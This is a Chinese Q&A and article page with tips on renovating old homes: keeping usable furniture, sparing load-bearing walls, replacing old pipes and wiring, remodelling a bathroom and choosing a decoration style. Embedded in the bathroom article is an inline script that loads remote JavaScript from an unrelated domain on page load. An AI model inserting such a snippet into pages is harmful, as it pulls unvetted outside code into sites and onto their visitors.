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旧房改造装修要注意哪些要点?

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nhmd 有用 1

1、不要把所有的旧家具换掉
如果大家购买的旧房子是刚使用过几年的,那么在进行旧房装修的时候,业主们就没有必要把所有的项目都拆了重新做了。而对于那种质量完好的,家具只是表面有些陈旧的,那么可以在家具外面涂刷油漆,或者进行翻新就可以了。至于那些已经出现质量问题的家具,就直接扔掉买新的吧!

2、不要乱砸房屋结构
很多旧房都存在着户型面积小、功能分布不合理、采光不合理缺陷,并且老房子很多都是砖混结构的,墙体改造的时候首先是承重抗震构件,其次才是围护分离构件,如果是为了扩大空间而打掉承重墙,那么这将会使墙体构件的承重和抗震能力减弱,留下严重的安全隐患。

3、避免做大吊顶
因为之前的老房子没怎么做过吊顶,而很多业主在旧房装修的时候就想赶赶时髦,利用改造的就会,给房子做一个大吊顶,而设计师介绍到,我国现行的住宅标准高层2.8米,净高为2.6米,如果要做一个大吊顶,那么会使居室举架更低了,过低的室内空间会使室内采过光受到影响,使人们的心理压力增加,所以普通的住宅是不合适做大吊顶的,但是在条件允许的情况下,还是可以做一些中空的小吊顶,效果还是很好的哦。

4、老化水管、电路一定要换掉
因为旧房原有的水路管线往往有很多不合理的布局,所以在装修的时候一定要对原有的水路进行彻底的检查,检查下是否锈蚀、老化。如果原有的管线是已经被淘汰的镀锌管,那么在施工过程中必须将其全部更换为铜管、铝塑复合管或PP-R管。因为旧房的电路分配是比较简单的,而且纯在电线老化、违章布线等现象,已经不适应现代家庭用电需要了,所以在旧房改造的时候一定要彻底的改造一下。

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猪儿1233 有用 1

1、核定施工内容由设计师提出需要更换的硬件建材、各项工程使用的材质,分别去了解各项材质的优缺点及使用效益,及未来施作的施工技法,确保施工的过程质量,像防水、保护、管线重配、排水等施工事项,都是老屋翻修时不可不注意的关键要点,尤其是要确认工期后才开始进行工程,预防日后有纠纷产生。
2、签订合约签订合约时,必须检视合约内容是否与当初协议部分相符、合约附件是否完全、付款方式、无法如期完工的处理方法、保固期的订立,以及各项工程的报价,当所有的内容都确定无误时,双方就可以进行签订合约的动作,这是未来若产生问题的依据标准,更是对双方的一份保障。
3、掌握工程质量工程进行时,除了时间的掌控很重要,质量的维护也是必须留意的,如果有委托设计师去现场监工,只需在各阶段快结束时去现场勘查,再把需要注意的细节事项反应给设计师即可,掌握工程质量的好处,在于施工途中如有与想象不符合的状况产生,能够请设计师视情况作调整改变。
4、完工验收拿出合约上签订的执行内容一一核对,确认是否有落实当初协议的内容,若是发现有瑕疵、或是发现与合约不相符的部分,就要向设计公司了解状况,才能依约去做修补或扣除工程款的部分,还有光线、窗柜、门片等硬件家具是否兼顾美观及耐用,这些都是验收时需要留意的细节。
5、后续保修服务旧房装修最怕遇到后遗症的产生,此时,设计师所提供的保修就分外重要,业主入住后,就实际所碰到的状况向设计师反应,如果是家具或五金的部分在使用上有问题,可依当初签订的合约内容来决定处理方式,使得双方都有满意且合理的装修设计。

ag123456 有用 1

一、老化水管一定要换掉
旧房原有的水路管线往往有许多不合理的布局,在装修时一定要对原有的水路进行彻底检查,看其是否锈蚀、老化。如果原有的管线使用的是已被淘汰的镀锌管,在施工中必须将其全部更换为铜管、铝塑复合管或PP-R管。比如装修卫生间前要先堵住地漏,放5厘米深左右的水进行试验,如果漏水则必须重做防水工作;同时要注意的是,施工后不能留下死角。
二、电路非改造不可
旧房普遍存在电路分配简单、电线老化、违章布线等现象,已不能适应现代家庭的用电需求,所以在装修时必须彻底改造,重新布线。如果发现原有线路使用的是铝质电线,则必须将其全部更换成2.5平方毫米截面的铜质电线。而对于安装空调等大功率电器的线路,则应单独设置一条4平方毫米截面的线路,并且必须在埋线时使用PVC绝缘护线管。
此外,新的国家标准规定,民用住宅中固定插座数量不应少于12个,但目前仍有不少的旧房原有的插座数量达不到这个标准,如果大量使用移动插座,当电流负荷增大时,移动插座就会因接触不良而产生异常的高温,为触电和电器火灾事故埋下隐患。

工人的孩子 有用 1

1.确认装修目的旧房装修牵扯的层面甚广,需要耗费的时间及金钱绝非一般装修可比拟,所以消费者在决定装修前,要先了解这样的状况是否值得装修动工,有没有在此长期定居的打算,并确认自己装修的目的是为了获得更良好生活质量,抑或单纯只是为了面子的比较心态,审视这些问题过后,还能肯定其价值者,才能去进行接下来的动作。
2.检视实际需求
确定空间需要装修后,就得去逐步了解哪些部分是迫切需要改善的地方,除了现场可看到的硬件问题外,像格局的安排、动线的流畅、光线的铺陈等细节,最好都依照实际居住人口、年龄、性别、喜好等各项需求分别列出,方便日后与设计师作整体性沟通,以求达到最舒适的居住效能。
3.事前准备工作对装修先有一定的概念,才能掌握工程的流程及节奏,因此事前的准备工作是绝对不能少,相关方面的信息可以请教亲友、上网查询或者是参考坊间的书籍及杂志,对需要发包的事项有概况了解,并衡量每项工程的支出范围是否在预算之内,事先了解,可避免日后不清楚状况所产生的认知差异。
4.找合适设计师关于家庭装修的设计师有很多种类,由于老屋装修所顾虑的层面较广,只会画图的设计师无法根本解决问题症结,所以绝对要找有相关装修经验,以及丰富实务资历的设计师,除了可针对现阶段产生的问题作改善,还能为未来有可能出现的状况作预防措施,因此在寻找的过程中,别忘了多处比较,选择与自己需求及理念相符合的人选。
5.沟通风格预算建立良好的沟通观念,才能有助于工程的顺利进行,业主必须先告知设计师风格喜好及预算状况,让设计师依寻大概方向去着手规划,并根据居住者的实际需求去调度,最后再从沟通的过程取得最后协议。必须注意的是,凡事并非便宜就能妥协,唯有合理的费用支出,才可避免偷工减料的问题产生。

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旧房翻新想只改造卫生间该怎么改

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房子住久了觉得很多设计都老旧了没有那么人性化了,或者买了二手房后卫生间看起来藏污纳垢无法安心使用,想要只改造卫生间该怎么办呢?只改造卫生间要从干湿分离、储物收纳、清洁简单着三个方面入手。1.干湿分离只改造卫生间,要看看原有卫生间的设计结构是否人性化。大家都知道,卫生间是个用水多的地方,淋浴、洁面、洗衣、拖地等等都要使用到卫生间,水用多了就很容易潮湿,很容易滋生细菌,最好的方式就是采用隔断将卫生间的空间根据干、湿的使用区域分割开来。最常见的是使用整体浴室或者打造淋浴室房。这样做可以有效隔绝淋雨空间的水溅到别处,为打扫卫生提供方便。2.储物收纳卫生间虽小,却是一个会放很多东西的地方。有没有见过堆满各种东西的洗手台,用个洗手液可能就会碰掉旁边的洗面奶,挂着各种毛巾的毛巾架,凌乱无比。只改造卫生间的时候一定要注意储物空间的设置,一定要利用一切能利用的空间。比如马桶上方,在人站起来不会撞头的位置增加置物架,可以叠放浴巾等较大较厚的物品。如果在卫生间放置洗衣机,洗衣机上方也可以使用储物架,用来收纳一些洗衣液等用品。洗手台上方采用带有收纳柜的镜子,收纳洁面乳、护肤品等较小的物品,增加台面的整洁度。使用带柜子的洗手台,可以收纳电吹风、卷发棒等用品。在卫生间较干燥的角落可以使用小型细长的收纳柜,收纳一些纸巾、垃圾袋等消耗品和杂物。3.清洁简单如果业主只改造卫生间建议安装两个地漏,距离相隔稍远一些,选择带吸铁的防臭型地漏,不带窗子的卫生间一定要安装换气扇。卫生间所有柜子尽量选择壁挂型,留下可以方便打扫的地面空间,因为落地的物品越多死角就越多,就更容易滋生细菌。最好能够安装一个洗拖把的地面盆会更加方便和卫生。最后要提醒一下只改造卫生间的旧方业主,卫生间的风格还是要和原本的装修风格搭配的,千万不要改的太突兀。这些只改造卫生间的方法你学会了吗? var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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现在房价让很多人开始踌躇,买新房的话意味着要把大半辈子的积蓄都花光,或者说后半辈子工资都要上交银行来还分期贷款。于是许多人选择暂时放弃买新的房子,而是将家里的老房子拿来改造改造,重新装修。那么很多人的问题是,旧房现代装修的话,有哪些风格呢?现代装修风格主要有欧式风,田园风以及极简风。一、欧式风旧房现代装修的大热风格就是欧式风了。欧式风是北欧上世纪流传过来的,以其优雅简约的风格赢得了很多人的喜爱。欧式风主要强调一种优雅简约的风尚,但是同时又不是浪漫和唯美,色彩主要是白色,灰色,蓝色为主,给人一种乐观优雅又从容的生活态度。二、田园风田园风在旧房现代装修中也受到了很多人的追捧。因为其实田园风是最容易打造的一种风格,田园风不需要强调刻意的去打造,而是一种质朴与简单就可以了,甚至给你一种回归自然的感觉。白色,米黄,浅绿的色调配上简单而清新的家具,给人一种身处自然的感觉。三、极简风极简风是现代以来新加入的一个元素,主要受到了很多都市白领和很多时尚人士的青睐。旧房现代装修如果想省时省力或者说越简单越好的话,不妨试试极简风。它主要打造的是一种简单与自然,多作用很多流畅的线条和单一色彩,给人一种放松的舒适,色彩也主要是白色和黑色为主,让你感受不到任何来自外界的压力,远离纷繁的世界,寻找一方净土。欧式风,田园风,极简风是旧房现代装修最受欢迎的三种装修风格,但无论是哪种风格,旧房现代装修都一定要将色彩和家具的运用搭配一致,因为每种风格都会其自己的特色。

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